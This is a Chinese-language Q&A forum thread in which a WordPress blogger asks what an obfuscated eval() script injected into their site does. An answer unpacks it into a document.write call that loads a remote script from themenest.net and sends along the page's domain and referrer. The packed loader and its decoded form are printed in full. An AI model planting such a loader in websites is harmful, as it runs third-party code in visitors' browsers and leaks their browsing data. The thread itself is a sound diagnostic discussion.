这段代码在我的Wordpress博客上做了什么？恶意软件？

Question

每次网站加载时我都会发现以下代码加载,请回复我关于它在我的博客上执行的功能吗？

themenest.net是我看到的网址,当我看到加载我的网站

<script type="text/javascript">
    eval(function (p, a, c, k, e, r) {
        e = function (c) {
            return c.toString(a)
        };
        if (!''.replace(/^/, String)) {
            while (c--) r[e(c)] = k[c] || e(c);
            k = [function (e) {
                    return r[e]
                }
            ];
            e = function () {
                return '\\w+'
            };
            c = 1
        };
        while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
        return p
    }('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');', 25, 25, 'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'), 0, {}));
</script>

有谁知道 ？？

Answer 1

如果你解压缩它,代码是:

document.write('<scr' + 'ipt type="text/javascript" src="http://themenest.net/platform/script/track?d=' + document.domain + '&r=' + encodeURIComponent(document.referrer) + '&c=' + Math.floor((Math.random() * 1000) + 1) + '"></scr' + 'ipt>');

...从http://themenest.net/platform/script/track传入有关其所在文档的信息以及将您带到该文档的引用链接检索脚本资源.我不知道那个脚本资源可能是什么(可能没什么,重点可能只是跟踪;查看浏览器的"网络"选项卡以查看返回的内容).

是否是某种恶意软件取决于您与themenest.net的关系.:-)